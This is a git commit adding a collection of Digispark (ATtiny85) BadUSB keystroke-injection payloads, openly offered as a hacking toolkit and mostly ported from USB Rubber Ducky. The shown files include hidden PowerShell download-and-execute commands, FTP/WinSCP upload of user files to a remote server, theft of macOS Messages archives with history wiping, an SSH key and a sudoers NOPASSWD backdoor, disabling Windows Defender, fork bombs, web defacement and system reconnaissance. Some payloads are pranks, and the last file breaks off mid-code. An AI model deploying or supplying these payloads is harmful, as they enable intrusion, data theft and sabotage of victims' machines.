+ Payloads Attiny85
This commit is contained in:
parent
452d7ca19e
commit
46f3280cd4
|
@ -0,0 +1,34 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("cmd");
|
||||||
|
delay(4000);
|
||||||
|
DigiKeyboard.println("cd %userprofile%/Downloads");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("copy con CW.vbs");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("do");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("Set objShell = CreateObject(\"WScript.Shell\")");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("WScript.Sleep 800");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("objShell.SendKeys \"^{W}\"");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("loop");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("start CW.vbs && exit");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,22 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("gnome-terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("pwd");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("id");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("cat /etc/passwd");
|
||||||
|
delay(2000);
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,23 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
delay(4000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('[url_pastebin]',\\\"$env:userprofile\\Desktop\\hc0n.bat\\\")");
|
||||||
|
delay(12000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("cmd");
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.println("cd %USERPROFILE%\\Desktop");
|
||||||
|
delay(4000);
|
||||||
|
DigiKeyboard.println("hc0n.bat");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1 @@
|
||||||
|
Script used for H-c0n Conference
|
|
@ -0,0 +1,14 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("iexplore -k http://fakeupdate.net/win10u/index.html");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,20 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("cmd");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("MODE CON: COLS=15 LINES=1");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("COLOR EF");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("for /l %x in (1,1,10000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000) do start");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,33 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("cmd");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("cd %USERPROFILE%");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("ftp -i SERVER");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("USERNAME");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("PASSWORD");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("GET WinSCP.com");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("GET WinSCP.exe");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("quit");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("WinSCP.com /command \"option batch abort\" \"option confirm off\" \"open ftp://USERNAME2:PASSWORD2@SERVER2\" \"put *.*\" \"close\" \"exit\"");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_ALT_LEFT);
|
||||||
|
DigiKeyboard.print("N");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,30 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("gnome-terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("echo \"Logged in user: \" $USER > info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo -n \"Distribution Kernel Version: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("cat /etc/issue | cut -c1-13 >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo -n \"uname results: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("uname -a >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,29 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("gnome-terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("echo \"Shellsock Bug Vulnerability: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("env x='() { :;}; echo vulnerable' bash -c \"echo this is a test\" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo \"Mounted filesystems: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("mount -l >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,32 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("gnome-terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("echo \"Network Configuration: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("ifconfig -a | grep 'Link\\|inet' >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo \"Print Hosts: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("cat /etc/hosts >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo \"Print ARP: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("arp >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,38 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("gnome-terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("echo \"Development tools availability: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("which gcc >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("which g++ >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("which python >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo \"Print TCP/UDP Listening Services: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("netstat -tunlpe >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo \"Installed Packages: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("dpkg -l >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,27 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("gnome-terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("echo \"Find Readable Folders in /etc: \" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("find /etc -user $(id -u) -perm -u=r -o -group $(id -g) -perm -g=r -o -perm -o=r -ls 2> /dev/null >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("echo \"Find SUID and GUID files\" >> info_gathering.txt");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("find / -type f -perm -u=s -o -type f -perm -g=s -ls 2> /dev/null >> info_gathering.txt");
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
delay(2000);
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,30 @@
|
||||||
|
Description:
|
||||||
|
+30 payloads for Digispark (Attiny85 BadUSB).
|
||||||
|
Most payloads are taken from the USB Rubber Ducky
|
||||||
|
If you find any errors, contact me
|
||||||
|
|
||||||
|
Installation:
|
||||||
|
https://thehackerway.com/2017/07/10/badusb-ultra-low-cost/
|
||||||
|
|
||||||
|
Contact:
|
||||||
|
Twitter: http://www.twitter.com/JoelSernaMoreno/
|
||||||
|
GitHub: http://www.github.com/joelsernamoreno/
|
||||||
|
|
||||||
|
Version: 1.0
|
||||||
|
Design: Joel Serna
|
||||||
|
Implementation: Joel Serna
|
||||||
|
|
||||||
|
This program is free software; you can redistribute it and/or
|
||||||
|
modify it under the terms of the GNU General Public License
|
||||||
|
as published by the Free Software Foundation; either version 2
|
||||||
|
of the License, or (at your option) any later version.
|
||||||
|
|
||||||
|
This program is distributed in the hope that it will be useful,
|
||||||
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
GNU General Public License for more details.
|
||||||
|
|
||||||
|
You should have received a copy of the GNU General Public License
|
||||||
|
along with this program; if not, write to the Free Software
|
||||||
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
|
||||||
|
|
|
@ -0,0 +1,28 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("cmd");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("copy con forkb.vbs");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("do");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("CreateObject(\"Wscript.Shell\").Run \"cmd\", 0, False");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("loop");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_Z,MOD_CONTROL_LEFT);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("start forkb.vbs && exit");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,33 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("notepad.exe");
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.println("I will learn to lock my computer.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("I will learn to lock my computer.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("I will learn to lock my computer.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("I will learn to lock my computer.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("I will learn to lock my computer.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("I will learn to lock my computer.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("Please remember to lock your computer when you step away from your desk.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("Thank you.");
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_ALT_LEFT);
|
||||||
|
DigiKeyboard.print("x");
|
||||||
|
delay(3000);
|
||||||
|
}
|
|
@ -0,0 +1,34 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_F2,MOD_ALT_LEFT);
|
||||||
|
delay(1000);
|
||||||
|
DigiKeyboard.println("gnome-terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("cd /var/www");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("mv index.* index.bak");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("touch index.html");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("nano index.html");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("<marquee><h1>You have been hacked by the BadUSB Digispark</h1></marquee>");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("<center><a href=\"http://www.usbrubberducky.com/\"><img src=\"http://cdn.shopify.com/s/files/1/0068/2142/products/usbducky2.jpg\" /></a><center>");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("<center><h5>Your old index page can be found <a href=\"./index.bak\">here.</a></h5></center>");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_X,MOD_CONTROL_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("y");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,22 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("cp -r ~/Library/Messages/Archive /Volumes/RubberDucky/$USER/");
|
||||||
|
DigiKeyboard.println("history -c");
|
||||||
|
DigiKeyboard.println("diskutil umount /Volumes/RubberDucky");
|
||||||
|
DigiKeyboard.println("history -c");
|
||||||
|
DigiKeyboard.println("echo 5A13X99");
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_Q,MOD_GUI_LEFT);
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,18 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("echo 'RSA_PUB_ID' >> ~/.ssh/authorized_keys");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("killall Terminal");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,22 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("photo booth");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("say You look ugly!");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,12 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.println("mount -uw / && chmod 755 /etc/sudoers && echo 'ALL ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers && chmod 440 /etc/sudoers && shutdown -h now");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,18 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("curl http://SERVER/path/to/file > file");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("INSERT COMMAND TO EXECUTE HERE");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,18 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_SPACE,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("terminal");
|
||||||
|
delay(3000);
|
||||||
|
DigiKeyboard.println("osascript -e 'set volume 7'");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("open https://www.youtube.com/watch?v=dQw4w9WgXcQ");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,15 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("powershell -NoP -NonI -W Hidden -Exec Bypass \"IEX (New-Object System.Net.WebClient).DownloadFile('http://example.com/bob.txt',\\\"$env:temp\\bob.exe\\\"); Start-Process \\\"$env:temp\\bob.exe\\\"\"");
|
||||||
|
delay(3000);
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,20 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("powershell -windowstyle hidden");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("$source = \"File URL \"; $destination = \"Path\\FileName\"; Invoke-WebRequest $source -OutFile $destination;");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("start-process FileName.EXE");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,24 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("powershell -windowstyle hidden");
|
||||||
|
delay(4000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.println("$source = \"File URL \"; $destination = \"Path\\FileName\"; Invoke-WebRequest $source -OutFile $destination;");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("start-process FileName.jar");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,22 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("powershell");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("Add-Type -AssemblyName System.speech");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("$speak.Speak(\"Esto es una prueba\")");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,22 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("powershell Start-Process powershell -Verb runAs");
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_ENTER);
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.println("Set-MpPreference -DisableRealtimeMonitoring $true");
|
||||||
|
delay(5000);
|
||||||
|
DigiKeyboard.println("exit");
|
||||||
|
while(1);
|
||||||
|
}
|
|
@ -0,0 +1,28 @@
|
||||||
|
#define kbd_es_es
|
||||||
|
#include "DigiKeyboard.h"
|
||||||
|
|
||||||
|
void setup() {
|
||||||
|
DigiKeyboard.update();
|
||||||
|
DigiKeyboard.delay(5000);
|
||||||
|
}
|
||||||
|
|
||||||
|
void loop() {
|
||||||
|
DigiKeyboard.sendKeyStroke(KEY_R,MOD_GUI_LEFT);
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("powershell");
|
||||||
|
delay(2000);
|
||||||
|
DigiKeyboard.println("$client = new-object System.Net.WebClient");
|
||||||
|
delay(2000);
|
||||||
|
